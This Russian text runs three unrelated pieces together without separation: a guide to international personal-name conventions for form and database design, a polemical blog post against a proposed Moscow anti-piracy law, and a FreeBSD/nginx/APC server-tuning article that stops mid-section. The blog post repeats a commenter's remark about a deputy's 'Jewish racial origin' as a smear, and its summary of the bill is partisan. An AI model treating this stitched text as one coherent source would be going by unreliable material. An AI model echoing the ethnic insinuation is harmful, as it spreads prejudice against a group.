Сортировка по алфавиту осуществляется по имени, а не отчеству. Дабы прояснить повторяющиеся записи используются некоторые приемы, например, в телефонных книгах указываются профессии абонентов.
Схема «имя-отчество» также используется в южной Индии, Малайзии и Индонезии.
Малайское имя «Иса бин Осман» можно разбить на имя и отчество. Слово «бин» означает «сын (кого-либо)», у женщин используется «бинти». Для того, чтобы обратиться к этому человеку, подойдет «г-н Иса», «мистер Иса».
Различия в расположении составляющих
В китайском имени 毛泽东 («Мао Цзэдун») фамилией является «Мао», то есть первое при чтении слева направо. Личным именем является «Дун». Средний же слог «Цзэ» является именем поколения, и един для всех его братьев и сестер: 毛泽民 (Мао Цзэминь), 毛泽覃 (Мао Цзэтань), 毛泽紅 (Мао Цзэхун)
Китайская система имен является основой для всех традиционных способов именования людей в Восточной Азии.
Среди людей, которые не являются близкими к нему, к Мао могут обратиться как к 毛泽东先生 («Мао Цзэдун сяньшэн») или 毛先生 («Мао сяньшэн»), где «сяньшэн» — некий аналог «мистер» или «господин». Хотя на данный момент не у всех есть имя поколения, особенно в континентальном Китае, те, у кого оно есть, будут считать должным использование его вместе с личным именем. Поэтому, к человеку по имени 毛泽东 нельзя обратиться просто как 东, следует использовать 泽东.
В Японии, Корее и Венгрии фамилия также ставится вперед личного имени или личных имен.
Обратите внимание, что имена в записи иероглифами не разделяются пробелами. Существует множество различных систем транскрипции для различных азиатских языков, называемых по фамилиям их создателей. При этом транскрипция ужé транскрибированного слова из одного языка в другой, минуя изначальную форму, разумеется, приведет к ошибкам (сравните правильное «Такэси» и ерет. «Такеши»).
Китайцы, контактируя с представителями западной цивилизации, могут добавлять дополнительное личное имя, которое будет привычней для их новых друзей. К примеру, Яо Мин (фамилия — Яо, личное имя — Мин) может назваться иностранцам как Фред Яо Мин или Фред Мин Яо.
Множественные фамилии
Испанцы, как правило, имеют две фамилии. Например, дочь Antonio Campos Rodríguez (Антонио Кампос Родригес) и María Martínez Marqués (Марии Мартинес Маркес) зовут María Campos Martínez (Мария Кампос Мартинес). Обращаться к дочери следует Señorita Campos, а не Señorita Martínez.
При рождении португальский ребенок может получить одно или два имени и до четырех фамилий. Аналогичным образом дети получают фамилию от обоих родителей. У бразильцев также бывает до четырех фамилий, наследуемых от предков, например José Eduardo Santos Tavares Melo Silva.
Испанцы ставят фамилию отца перед фамилией матери, португальцы и бразильцы — наоборот, однако порядок может измениться. Также между именами могут появиться короткие слова, как то de или e между словами: Carreño de Quiñones, Tavares e Silva.
Меняющиеся формы слов
Отчество исландцев различается по полу его носителя. Однако, существуют и более сильные изменения. Русские и перенявшие русскую традицию имени вместе с русским языком народы стран бывшего СССР (Казахстан, Татарстан, Грузия и др.) используют отчество, употребляемое между фамилией и именем. Окончания отчества различаются по полу носителя. Сравните: Борис Николаевич Ельцин и Наина Иосифовна Ельцина — на конце имени мужа нет окончания, в то время как у жены добавляется «-а». Русские имена склоняются, при этом существуют несклоняемые, постоянные фамилии. Отличительной чертой русского именования является редкость матронимов.
Второе имя
Второе или среднее имя — традиция англоговорящих стран. Иногда под вторым понимают другие термины, например, двойные имена. В культуре Европы и западных стран обычно используется от одного до трех дополнительных имен. Второе имя представляет собой дополнительное личное имя и не является тождественным русскому отчеству, хотя и может быть дано в честь какого-либо родственника.
Американцы часто пишут собственное имя с инициалом посередине, например John Q. Public. Иногда форма, принятая в США, предлагается в виде общей традиции записи имен, даже в Соединенном Королевстве, где у людей может быть более одного второго имени. Британец сразу заметит подобные американские манеры. Корейцы, для которых типично иметь 3 имени, не записываемых в виде инициалов, удивятся «американской» форме ввода. Учтите также, что многие люди, использующие инициалы в их имени, могут предпочитать располагать их в начале имени.
Наследование имен
Члены одной семьи не всегда имеют одну и ту же фамилию. В современной западной цивилизации растет число жен, желающих сохранить собственные фамилии после вступления в брак, но в Китае подобная практика нормальна. В некоторых странах у жен есть выбор, брать или не брать имя мужа. Если малайка Зайтон выйдет замуж за Иса, она может остаться г-жой Зайтон, или же взять двойную фамилию «Зайтон Иса», которая предполагает обращение «г-жа Иса».
Испаноязычные фамилии также отличаются. В 1996-ом году Manuel A. Pérez Quiñones описал фамилии своей семьи или апеллидо: сам он стал Pérez Quiñones, потому как апеллидо его отца были Pérez Rodríguez, а апеллидо матери — Quiñones Alamo. Позже он встречался с девушкой с апеллидо Padilla Falto. После свадьбы её аппелидо стали Padilla de Pérez, а их дети имеют апеллидо Pérez Padilla. Суть в том, что лишь у родных братьев и сестер одни и те же апеллидо.
(Имя Manuel было незначительно изменено: на самом деле его апеллидо Pérez-Quiñones вместо варианта с пробелом, который был представлен для того, чтобы механизм образования имен был более понятным.)
Также нельзя просто полагаться на прием фамилии от мужа к жене, иногда женихи берут фамилии невест. В таком случае будет лучше говорить «девичья фамилия» или «бывшее имя» «урожденная(ый) (далее девичья фамилия)».
Смешение стилей
Многие культуры смешивают традиции имен, характерные для двух или более, а также добавляют собственные изобретения.
Например, «Velikkakathu Sankaran Achuthanandan» является кералским именем южной Индии, обычно записывается в виде «V. S. Achuthanandan» и представляет собой конструкцию «фамилия-отчество-имя».
Во многих частях света различные составляющие имени человека происходят от названий населенных пунктов, генеалогических особенностей, касты, религиозного статуса и т.д. Приведем несколько примеров:
Индийское имя «Когадду Бираппа Тимаппа Наир» следует рассматривать как комбинацию «название деревни — имя отца — личное имя — фамилия».
Раджастханское имя «Адитья Пратап Сингх Чаухан» состоит из личного имени, имени отца, фамилии и названия касты.
В другом регионе Индии имя «Мадурай Мани Айер» нужно толковать как набор «название города — личное имя — название касты».
Арабское «Абу Карим Мухаммед аль-Джамил ибн Нидал ибн Абдулазиз ал-Филистини» переводится как «Отец Карима, Мухаммед (личное имя), Красивый, Сын Нидала, Сын Абдулазиза, Палестинец», при этом Карим — первый сын Мухаммеда. Для дополнительной информации о подобной традиции богатых и длинных имен см. статью «Википедии».
У жителей Таиланда есть прозвище, которым они называют друг друга в неофициальных ситуациях. Прозвище изначально никак не связано с настоящим именем. Поскольку прозвище состоит из одного-двух слогов, и его легче произносить, тайцы представляются иностранцам именно им. Например, прозвище бывшего премьер-министра Таксин Чиннават — Мау (แม้ว). Часто прозвища для семьи и друзей различаются.
Во Вьетнаме имя Nguyễn Tấn Dũng (Нгуен Тан Зунг) имеет смысл «фамилия — второе имя — личное имя». Хотя подобная система похожа на китайскую, есть небольшое отличие: даже в официальных ситуациях к премьер-министру Вьетнама нужно обращаться «г-н Зунг», а не «г-н Нгуен», то есть по имени.
Двусмысленность написания
Идеографическое письмо в японских именах создаёт проблемы: прочесть имя вслух можно более, чем одним способом. Это создаёт трудности как для людей, так и для систем алфавитной сортировки, потому как последняя осуществляется по прозношению. К примеру, фамилия 東海林賢蔵 (три первых идеограммы слева) может быть прочитана либо как «Токайрин», либо как «Содзи».
Более того, прозношение различных кандзи может совпадать, поэтому романизация и кириллизация неизбежно ведут к потерям смысла: все из фамилий 庄司, 庄子, 東海林 и 小路 читаютя как «Содзи».
В некоторых японских именах используются устаревшие и вышедшие из употребления идеограммы, прочитать которые будет затруднительно.
Из-за рассмотренных проблем японцы предпочитают снабжать собственное имя в обычном написании версией записи в неидеографическом слоговом алфавите кана.
Последствия для дизайна форм вввода
Как уже было упомянуто выше, возможным путем решения проблем является локализация для каждой конкретной культурноязыковой среды. Теоретически, это должно позволить приспособить интерфейс к каждой конкретной целевой аудитории. К сожалению, у такого подхода есть несколько недостатков:
- При необходимости централизации информации из нескольких видов ввода в единой базе данных возникнут затруднения в синтезировании схемы хранения.
- Кроме того, может возникнуть ситуация, когда упор на определение необходимой схемы именования по местоположению пользователя не сработает: возможны иностранцы, адаптирующиеся к чужой культурной среде, а также зарубежные элементы. Например, у сингапурцев бывают китайские, малайские и южноиндийские корни. Также вероятны более, чем одни использования имен. Поэтому ваш интерфейс должен оставаться гибким.
Далее предлагаются общие соображения, которые могут помочь. Конечно, суть проблемы слишком сложна, чтобы давать исчерпывающие указания, и здесь нет прямых ответов.
Разбить или не разбить?
При разработке дизайна формы ввода или базы данных, куда пользователи будут вводить личные данные, нужно сразу задаться вопросом, необходимо ли разделить личное имя и фамилию. Всё зависит от поставленных задач, но, как очевидно, наиболее простым будет просто оставить поле полного имени.
Учтите, что имена в некоторых культурах могут быть длинней, чем в вашей, поэтому поле ввода должно быть достаточно длинным, чтобы пользователь мог видеть его полностью по мере набора. Также не ограничивайте поля имени в базах данных. В частности, четырехсимвольное японское имя при кодировании UTF-8 в четыре байта не влезет, ему понадобится 12.
Пути деления имен на части
Если вам всё-таки предпочтительней хранить части имени раздельно, старайтесь избегать названий «Личное имя» и «Фамилия» в нелокализованных формах ввода, поскольку некоторым будет удобней писать фамилию, а следом за ними личные имена.
Для некоторых культур подобное будет не слишком приемлимо (например, для исландцев, не имеющих фамилии как таковой), но в целом это наиболее подходящее решение.
В случае, если вы хотите определить части имени для алфавитной сортировки, контактов и т.д. рассмотрите введение к существующему полю полного имени дополнительных, в которых пользователь может указать части имени, которые нужны для особых целей.
Иногда разделение имени на части выполняется с целью употребления одной из них в обращении: «I'm afraid I can't do that, Dave.» Подобное может употребляться как в интерфейсе, так и в оповещениях по электронной почте. Разумеется, обращение, например, по имени в одних контекстах будет приветствоваться, человек же другой национальной культуры может воспринять его негативно и наоборот. Варьироваться отношение к окрику по имени может и в одной нации. В таком случае будет лучше в самом начале спросить у пользователя, как его называть.
Это дополнителное значение также будет полезно для определения прозвища тайцев.
Поскольку японские имена читаются по разному, для сортировки японских имен потребуется дополнительное поле, в которое они смогут ввести прозношение своего имени. Информация из этого поля и будет использоваться для сортировки японских имен.
Если вы разбиваете поля имен, убедитесь в том, что каждое поле ввода имеет ясную подпись. Не опирайтесь на то, что пользователь точно будет вводить фамилию после личного имени.
Будьте внимательны по отношению к допущениям алгоритмов, автоматически разбивающих полное имя на части. К примеру, оптимизация имен v-card или h-card может плохо работать с китайскими именами. Необходимо как можно точнее информировать пользователя, как указывать свои данные.
Существуют имена длиной в один символ. У людей с подобными короткими именами могут возникнуть проблемы с приложениями, отвергающими введенные данные как имя с инициалами. Если необходимо проследить за вводом инициалов, добавьте сообщение для пользователей, а не фильтруйте ввод.
Не делайте ввод фамилии обязательными: у населения Южной Индии, Малайзии, Индонезии и многих других стран есть только личное имя. Пользователям придется вводить какой-то мусор типа «Mr.», «.» в поля или, что гораздо хуже, не использовать ваш продукт вообще.
Другие замечания
Не забывайте разрешить пользователю использовать в именах знаки препинания: дефисы, апострофы и т.д. Пользователю может понадобиться ввести текст с пробелами, как то добавить префиксы и суффиксы: «де» у французов, «фон» у немцев, «Мл.» («Младший») у американцев; также последовательности букв, разделенные пробелом, могут являться корректными именами: «Роза Мария».
Члены одной семьи могут иметь разные фамилии. Не только женщины могут менять фамилии после вступления в брак, поэтому название поля ввода фамилии при рождении лучше выбрать без упора на пол: «Предыдущее имя», а не «Девичья фамилия».
Если вы разрабатываете формы ввода, которые будут локализованы в каждой конкретной культурной среде, не забудьте о том, что имя, разбитое на части, наверняка придется хранить в централизованной базе данных, которая потребует представить все запутанные части в доступном для хранения и извлечения виде.
Поддержка символов
Многие пользователи не используют латинский алфавит или используют наборы с множеством добавочных символов. Это представляется очевидным, но всё же чревато несколькими последствиями для дизайнеров, о которых часто забывают.
Если разрабатывается форма на английском, нужно решить, ожидается ли от пользователя ввод имени в национальных символах (например, 小林康宏), только в латинице (Yasuhiro Kobayashi) или же в обеих формах.
Помните, что даже английские имена могут содержать буквы, не содержащиеся в кодировке ASCII (например, Zoë).
С другой стороны бывают ситуации (необходимо задать логин, система поддерживает только ASCII), в которых разрешить национальные символы будет невозможно.
То, что пользователи укажут в форме ввода, чаще всего зависит от языка страницы. Если страница переведена на их родной язык, наиболее возможно получить имя, записанное не только латиницей.
В отношении букв, кодировка ASCII означает набор основных букв английского алфавита, то есть ABCDEFGHIJKLMNOPQRSTUVWXYZ и такой же состав строчных букв.
Если вам нужна только латиница, собщите об этом пользователю в интерфейсе формы ввода. Не забудьте проинструктировать и переводчиков.
Выбор формы ввода и хранения данных зависит от целей сбора информации и её использования.
- Вы собираетесь использовать имя человека как идентификатор в системе? В таком случае нет разницы, ASCII или национальное написание.
- Вы хотите обращаться к пользователю по имени на странице приветствия или в корреспонденции? В случае формирования переведенной на их родной язык страницы будет логичней использовать имя в их национальном написании.
- Важно ли для сотрудников вашей организации иметь возможность разбираться в записях и читать их имена? Тогда запросите латинскую транскрипцию.
- Будет ли их имя индексировано поисковыми системами? Или вы хотите обращаться к пользователям в рассылках по имени, но внутренние операции осуществлять на английском? Тогда в форме ввода запросите в раздельных полях как национальное написание, так и транскрипцию.
Обратите внимание на то, что японцам может понадобиться поле для транскрипции имени в японской слоговой азбуке, что потребует добавления третьего поля в примере выше.
При использовании символов вне набора ASCII не забудьте о кодировке страницы, приложения и базы данных.
На заметку
Пометка о сортировке
Имена людей не всегда сортируются по фамилии. Например, тайцы и исландцы используют сортировку по личному имени.
Также различаются методы сортировки и в испанидаде. María-Jose Carreño Quiñones из одного места будет искать себя как Carreño Quiñones, а её полная тёзка, проживающая в другом месте, где принята другая система сортировки, начнёт с Quiñones.
Небольшие слова «фон», «де», «ван» добавляют сложности. Иногда префиксы учитываются, иногда нет.
Формализм
Уровень формализма различается в разных странах, и это нужно учитывать при обращении к пользователю. В западной культурной среде принято обращаться по личному имени, но в Соединенном Королевстве обращение при первой встрече по личному имени покажет собеседнику, что вы с ним уже где-то виделись.
С другой стороны, использование обращения и личного имени («Mr. Richard») или лишь фамилии («Ishida!») приемлемо в некоторых частях света, но не во всех (например, в Британии).
В Германии титулы и звания важны, поэтому лучше обратиться не «Herr Schmidt», а «Herr Professor Doktor Schmidt».
В культурах, подобных японской, существуют именные суффиксы, выражающие почтение, должность или звание. Лучше обратиться к кому-то как «Tanaka-san» или «Tanaka-sama» (зависит от степени уважения). Руководитель отдела по имени Tanaka ожидает от вас обращения Tanaka-bucho (букв. «руководитель отдела Танака»). Хотя можно добавить -san к личным именам, в рабочей среде подобное обращение будет выглядеть странно.
Дополнительная информация
Информация выше предоставляет лишь краткую справку о трудностях, с которыми может столкнуться разработчик. В реальности даже в сфере одной культуры ситуация может оказаться ещё более запутанной и усложненной. Англоязычная «Википедия» предоставляет множество подробных статей, рассказывающих о формировании имен людей в различных частях света. Рекомендуется прочитать и понять данные статьи.
Akan • Arabic • Balinese • Bulgarian • Czech • Chinese • Dutch • Fijian • French • German • Hawaiian • Hebrew • Hungarian • Icelandic • Indian • Indonesian • Irish • Italian • Japanese • Javanese • Korean • Lithuanian • Malaysian • Mongolian • Persian • Philippine • Polish • Portuguese • Russian • Spanish • Taiwanese • Thai • Vietnamese
Подготовлено на основе статьи на w3.org и информации интернет-энциклопедий.
если первое, что вы увидели — MacBook Pro, то у меня для вас есть плохие новости
Нынешнее сообщение является естественным продолжением вчерашнего, так что сперва напомню известные со вчерашнего дня факты.
Вчера Novikov в своём блоге подметил, что Московская городская дума готова была предложить (26 августа, устами своего депутата Милявского) попрать все идеалы внутренней свободы, а вместо того поклониться одновременно демону тоталитаризма и золотому тельцу правоторговли, то есть составить чёрный список сайтов, предлагающих нелицензионные файлы, и за любое посещение такого сайта штрафовать каждого гражданина на сумму от 2000 до 5000 рублей.
Это прискорбно.В частности, Новиков тотчас постиг и сокрушался о том, какие небывалые и коррупционные бездны произвола правоохранительных структур откроются во всяком таком случае, когда какой-нибудь сетевой червь понаоткрывает запретные сайты без ведома пользователей, или если другой сайт поставит невидимый <iframe> или прозрачный пиксел запретного сайта. Опять же и для цензуры возможности какие богатейшие.
Там же в комментариях MSVGePard без малейшего промедления открыл, что упомянутый Милявский имеет еврейское расовое происхождение и даже гражданство Государства Израиль ([1], [2]), и притом далеко не совершенно чужд и сам нелицензионщине: в прессе не раз упоминалося, что Милявский миллионы нажил, создав свой рынок «Горбушкин двор». Ум останавливается перед потугою истолковать эту деталь биографии: не то Милявский зачищает интернетовских конкурентов своего оффлайнового бизнеса, не то обратился к чрезмерному и небывалому ещё покаянию? Да не в том ли всё и дело, что «Горбушкин двор» недавно намерены были остановить?Подробнее эту тему раскрыл в LiveJournal блоггер martellus. В комментариях он упоминает также, что Указом Президента В. В. Путина в 2003 году Александр Милявский был награждён медалью ордена «За заслуги перед Отечеством» II степени. Видим, стало быть, что заслуженный единоросс этот и впрямь может выступить с некоторой законодательной инициативою и быть услышанным с нею в самых верхах и недрах «Единой России» преблагосклоннейше.
Увы, личный блог Новикова не транслируется на заглавную страницу Хабахабра — и оттого не все заметили эту новость, несмотря на двузначный рейтинг его блогозаписи.
А между тем вышеупомянутые события не остановилися 26 августа, а развивались и далее: сообщение Новикова можно дополнить известием о том, что на нынешней неделе (в понедельник 30 августа) в «Ведомостях» вышла статья «Штраф за пиратство». К сожалению, сама по себе эта статья не очень полезна нам, будучи не более чем собранием разноречивых мнений, более или менее экспертных и (или) официальных. Зато к ней прилагаются для скачивания собственно документы законопроекта Милявского. Их два: проект Федерального закона «Об охране авторских и смежных прав в сети Интернет и о внесении изменений в отдельные законодательные акты Российской Федерации», а с ним сборник поправок, предлагаемых ко внесению в Уголовный кодекс и в Кодекс об административных правонарушениях.
Эти поправки сегодня утром подверг сравнительному анализу LJ-блоггер i_contester и открыл такие подробности, от которых волосы должны буквально становиться дыбом на голове. Вы уж лучше присядьте, прежде чем читать о них:
→ То наказание за контрафакт или незаконное использование объектов авторского права и смежных прав, которое прежде было установлено за крупный размер этого преступления, отныне будет применяться ко преступлениям, не достигшим этого размера (и прежде вообще не считавшимся уголовными);
→ за крупный же размер будет полагаться то наказание, которое прежде было установлено за особо крупный размер;
→ а за нарушение авторского права или смежных прав, совершённое в особо крупном размере, изобретено новое и небывалое ещё наказание: лишение свободы на срок до 20 лет со штрафом в размере до 1 000 000 рублей.
→ Кстати и значения самих терминов «крупный размер» и «особо крупный размер» немало изменены в сторону значительного уменьшения величин: «крупный размер» нарушения будет считаться всего от 25 тысяч рублей, а «особо крупный» — от 125 тысяч.
→ А для того же нарушения, совершённого без цели сбыта (к примеру, для простого хранения), и прежде не бывшего уголовным преступлением — изобретена особая новая статья УК, которая (в случае превышения вышеупомянутого «особо крупного» размера) предусматривает до 8 лет лишения свободы и штрафы до 500 000 рублей.
Проект закона «Об охране авторских и смежных прав в сети Интернет…» также заслуживает самого пристального внимания, оттого что говорит о «презумпции отсутствия согласия правообладателя на использование объектов авторских и смежных прав в сети Интернет» (статья 4), запрещает создание анонимных прокси-серверов (статья 6), запрещает провайдеру выдавать абоненту IP-адрес, ранее использовавшийся другим абонентом (статья 7), и так далее. Внесены и драконовские меры наказания (статья 10): так, создание анонимного прокси-сервера влечёт наложение административного штрафа (на граждан — от 2000 до 5000 рублей, на должностных лиц — от 20 000 до 50 000 рублей, на юридических лиц — от 250 000 до 500 000 рублей); штраф, равный этому, полагается налагать на провайдера за выдачу использованного IP-адреса, на хостера — за отсутствие слежки (с ведением подробных логов на протяжении трёх лет), и так далее.
Как же теперь оценивать все эти мрачные факты? К чему может привести эта зловещая тенденция?
Презумпция несогласия правообладателя да в сочетании с тяжестью преступления, в случае принятия этакого закона, пожалуй, позволит помариновать за решёткою (по мере судебного разбирательства) любого владельца сколько-нибудь крупного сайта в России. А криминализация множества проступков, прежде не считавшихся уголовными, позволит произвольно привлекать кого угодно из пользователей Сети к уголовной ответственности по заявлению если и не автора (который может же оказаться нравственным человеком), то любой организации наподобие РАО, уполномоченной действовать от имени даже не ведающих о том авторов.
Это значит, что новым режимом России фактически станет постколониальный неофеодализм, в котором гнилыми зомбями воскреснут такие давно позабытые понятия, как податное сословие, как оброк, как правёж. Любой смерд будет обязан произвольным оброком в пользу высшего сословия под страхом правежа; правоторговцы сделаются наконец работорговцами, а «пираты» и «воры» действительными уголовниками. В глазах всего информационного фронтира Россия покроет себя липкими каплями несмываемого позора.
У москвичей остаются ещё способы противостоять этому: акции протеста пред стенами Московской городской думы, воззвания к разуму своих депутатов, и так далее. Осенью, как сообщают «Ведомости», должен решиться этот вопрос.
Действуйте.
Введение
С момента написания мной предыдущей статьи по оптимизации этой связки прошло довольно много времени. Тот многострадальный Pentium 4 c 512Мб памяти, обслуживающий одновременно до тысячи человек на форуме и до 150,000 пиров на трекере уже давно покоится на какой-нить немецкой, свалке, а клуб сменил уже не один сервер. Всё сказанное в ней всё ещё остаётся актуальным, однако есть вещи которые стоит добавить.
Статья большая, так что будет поделена на логические блоки:
0. Зачем вообще что-то оптимизировать?
1. Оптимизация ОС (FreeBSD)
1.1 Переход на 7.х
1.2 Переход на 7.2
1.3 Переход на amd64
1.4 Разгрузка сетевой подсистемы
1.5 FreeBSD и большое кол-во файлов
1.6 Softupdates, gjournal и mount options
2. Оптимизация фронтенда (nginx)
2.1 Accept Filters
2.2 Кеширование
2.3 AIO
3. Оптимизация бэкенда
3.1 APC
3.1.1 APC locking
3.1.2 APC hints
3.1.3 APC fragmentation
3.2 PHP 5.3
4. Оптимизация базы данных
4.1 MySQL
4.1.1 Переход на 5.1
4.1.2 Переход на InnoDB
4.1.3 Встроеный кеш MySQL - Query Cache
4.1.4 Индексы
4.2 PostgreSQL
4.2.1 Индексы
4.2.2 pgBouncer и другие.
4.2.3 pgFouine
4.3 Разгрузка базы данных
4.3.1 SphinxQL
4.3.2 Не-RDBMS хранилище
4.4 Кодировки
4.5 Асинхронность
Приложение. Мелочи.
1. SSHGuard или альтернатива.
2. xtrabackup
3. Перенос почты на другой хост
4. Интеграция со сторонним ПО
5. Мониторинг
6. Минусы оптимизации
0. Зачем вообще что-то оптимизировать?
Вообще расти можно:
- Scale up (Наращивать железо)
- Scale out (Увеличивать количество фронтендов/машин в middle tier)
- Оптимизируя
Первый вариант лучше использовать когда у вас много денег, второй, когда хорошая архитектура. Ну а третий, который буду описывать я, используют когда нет ни первого, ни второго, а хочется выжать максимум из имеющегося железа.
1. Оптимизация ОС (FreeBSD)
1.1 Переход на 7.х
Что же мы получим при переходе на новую версию FreeBSD?
По мне самое главное это:
Новый ULE 3.0 Scheduler и jemalloc весьма полезны на многоядерных (>=4) системах.
MSI (Message Signaled Interrupts) — они же часто упоминаются в драйверах как Fast Interupts.
Так что если у вас есть legacy 6.x система, которая начинает прогибаться под нагрузкой, возможно стоит перевести её на 7.х.
1.2 Переход на 7.2
Superpages, увеличенный KVA, оптимизированные по-дефолту sysctl'и. Всё это вы получите абсолютно бесплатно просто перейдя на последний релиз ОС.
Прогресс тоже не стоит на месте и вот уже FreeBSD 8.0 готовится к выходу, там нам обещают дальнейшее увеличение производительности. В качестве подтверждения стабильности www.FreeBSD.org был переведён на FreeBSD-CURRENT ещё во времена первых beta-версий. Так что на staging машинах можно её уже начинать гонять.
1.3 Переход на amd64
Переходя на amd64 вы дополнительно получите гиганские размеры KVA и Shared Mem >2Gb. Однако это далеко не самое главное...
Заметьте, что 4 Gb памяти в 2009 году уже во всю ставят на ноутбуки, и ставить столько на сервер с БД довольно смешно. Конечно, для маленькой БД это нормально, но что делать когда она разрастётся и перестанет влезать в память? C i386 ОС доставить ещё памяти будет проблематично, ибо PAE это отдельный глюк. Да и INT64 уже давно много где используется и даёт прирост производительности таким приложениям как, например, базы данных и OpenSSL. (Если у кого есть линки на адекватные бенчмарки "***SQL i686 vs amd64" — кидайте в комменты).
1.4 Разгрузка сетевой подсистемы
Тут во FreeBSD не то что поле, а целый полигон для испытаний.
Всю оптимизацию можно разделить на 2 части: Тюнинг параметров ifconfig и настроек sysctl.conf/loader.conf, давайте в таком порядке и пойдём.
Для начала нужно посмотреть на что наши сетевухи вообще способны, для этого можно воспользоваться такой командой:
# ifconfig -m
capabilities=399b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM,TSO4,WOL_UCAST,WOL_MCAST,WOL_MAGIC>
В случае если у вас хорошая сетевуха класса em (Intel Gigabit) / bge (Broadcom Gigabit) можно попробовать опции ifconfig:
-
tso (tso4, tso6) — TCP Segent Offloading
-
lro — Large Recive Offload
-
txcsum, rxcsum — RX / TX Checksum Offload
-
link0, link1, link2 — зависят от драйвера, надо смотреть его код. Иногда включают некоторые оптимизации, иногда просто переключает сетевуху в MASTER на Gigabit линках.
Также, на em сетевухах и многоядерных процах можно попробовать драйверы от Яндекса, которые осуществляют обработку пакетов в несколько потоков. Так же очень много всего про тюнинг сетевой подсистемы можно прочитать на nag.ru
Если же у вас третьесортная сетевуха (re/rl/sk/nfe...), то вышеописанные опции могут работать неправильно и приводить к зависанию сервера, так что лучше остановиться на polling'e.
Ну и напоследок рекомендую всем посмотреть обновлённую версию тюнинга FreeBSD 7 «по Сысоеву» и мой лист sysctl'ей с комментариями.
1.5 FreeBSD и большое кол-во файлов
Во FreeBSD есть прекрасная технология кеширования имён файлов в директориии. Так, если у вас в одной директории находится множество файлов, то намного лучше использовать поиск по хеш таблице, нежели постоянно пробегать по всему дереву вширь/вглубь в поисках нужного файла. Однако, макс. кол-во памяти выделенное под dirhash (так называется эта технология) ограничена vfs.ufs.dirhash_maxmem и по-умолчанию составляет, вроде, 2Мб, что весьма мало. Рекомендуется увеличивать память до тех пор пока vfs.ufs.dirhash_mem не перестанет упираться в «потолок».
1.6 Softupdates, gjournal и mount options
Новые терабайтные винты просто шикарны — стоят дешево, да и производительность у них просто касс. Однако, есть один нюанс: когда в датацентре отрубят электричество, то fsck таких терабайтников может занять не один час. Решить эту проблему можно используя softupdates или же прикрутить к системе журналирование через gjournal. Что именно, решать вам.
Пара советов по журналированию: чтобы не потерять производительность, лучше журнальный раздел оправить на отдельный диск, а чтобы не ловить паники из-за его переполнения, лучше сделать раздел журнала побольше (например, RAM+swap).
Если же у вас есть raid с BPU, или вам просто нечего терять, то можно в /etc/fstab добавлять опцию async. А такую опцию как noatime можно практически без опаски порекомендовать всем. (читать комментарий пользователя giner вот тут)
2. Оптимизация фронтенда (nginx)
На самом деле, я крайне против чрезмерной и/или преждевременной оптимизации, к коим относится оптимизация фронтенда. Обычно на веб проектах, где nginx занимается не только статикой, он потребляет 1%-5% CPU в зависимости от характера его использования, остальное же кушает php.
Однако, оптимизация конфига nginx может повлиять на общий response time сайта, так что есть моменты о которых стоит поговорить.
Из стандартных оптимизаций могу порекомендовать
reset_timedout_connection on;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
Ну и поиграться с количеством воркеров, а не просто ставить их по кол-ву CPU/Винтов. Также рекомендую всем ознакомится с этим документом и темой Nginx best-practices на Serverfault, очень вероятно, что вы узнаете что-то новое.
2.1 Accept Filters
Во FreeBSD имеется технология, позволяющая передавать пакет от ядра к процессу только в случае прихода 1) каких либо данных 2) валидного http запроса. Технология эта называется accept filters. Такие фильтры помогут как разгрузить сервер в случае большого кол-ва соединений, так и немного защитить от DDoS'a (Хотя со вторым лучше справляется ngx_http_limit_req_module, о котором уже не раз писалось на хабре)
Чтобы включить обработку соединений с использованием фильтров, нужно для начала загрузить модуль ядра:
#ls /boot/kernel/|grep acc
accf_data.ko
accf_http.ko
#kldload accf_http
Далее в конфиге nginx.conf включить фильтр httpready:
listen 80 default accept_filter=httpready;
2.2 Кеширование
В nginx имеется очень гибкая система кеширования ответов, как от fastcgi, так и от proxy backend'ов. Я думаю у каждого прочитавшего документацию в голове сразу возникло несколько сценариев применения кеширования в своём проекте. Я могу дать только общие советы:
Не дай Бог у вас rss отдаётся через php скрипт. Если так, то спокойно можно кешировать ответ на 3-5 минут.
Думаю почти всю версию сайта для гостей можно запихнуть в кеш тоже минут на 5 (ну если конечно у вас не новостной сайт)
Кроме серверного кеша существует ещё и кеш клиентский. Я бы рекомендовал на всю статику повесить expire в месяц:
location ~* \.(jpg|jpeg|gif|png)$ {
root /var/nnm-club;
expires 30d;
}
2.3 AIO
Про введение AIO в nginx уже писали на хабре, там же имеются довольно интересные обсуждения в комментах. Вкратце, AIO полезен на весьма специфичных нагрузках, а так же помогает сохранить response time при уменьшении количества воркеров.
Для использования aio нужно подгрузить модуь ядра aio.ko:
#kldload aio
а затем включить aio и sendfile в nginx.conf
sendfile on;
aio sendfile;
Новые версии nginx позволяют использовать aio вместе с sendfile. По поводу такой конфигурации в документации сказано:
В такой конфигурации используется флаг SF_NODISKIO и sendfile() не блокируется на диске, а сообщает об отсутствии данных в памяти, после чего nginx инициирует асинхронную подгрузку данных, читая только один байт. При этом ядро FreeBSD подгружает в память первые 128K файла, однако при последующих чтениях файл подгружается частями только по 16K. Поэтому этот режим лучше применять для раздачи небольших, до 128K, файлов.
Патч для FreeBSD, для решения этой проблемы тут, возможно со временем он войдёт в -CURRENT и будет портирован в 8.0 и 7.х
3. Оптимизация бэкенда
Тут особо много мне расскажешь, у java, например, есть волшебные строки из серии "-Xms768m -Xmx1280m -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:+UseCompressedOops -Djava.net.preferIPv4Stack=true -XX:+DoEscapeAnalysis", которые способен понять только наш java-программер, а у PHP 50% оптимизации деает кеширование opcode, остальной прирост наблюдается от кеширования ответов от БД. Так что эта часть топика будет весьма скупой.
3.1 APC
Про оптимизацию APC рассказывали разработчики Facebook. Очень рекомендую почитать, если будет время.
3.1.1 APC locking
Старый File Locking, это именно тот «тормоз», из-за которого вместо APC начинают использовать eAccelerator. Так, что дефолтный locking часто рекомендуют менять на spinlock или pthread mutex. Насколько я помню, pthread mutex стал дефолтным начиная с 3.0.16, так что, если у вас есть сервера со старым APC рекомендую его обновить.
3.1.2 APC hints
Если у вас много .php файлов или вы много кешируете в APC user cache, то весьма вероятно вам придётся поднимать значения
apc.num_files_hint и apc.user_entries_hint соответственно в php.ini. Эти значения отвечают за размеры hash таблиц APC (на самом деле они ещё удваиваются перед применением), а мы знаем что хеш таблицы работают весьма плохо при load factor >= 0.75
3.1.3 APC fragmentation
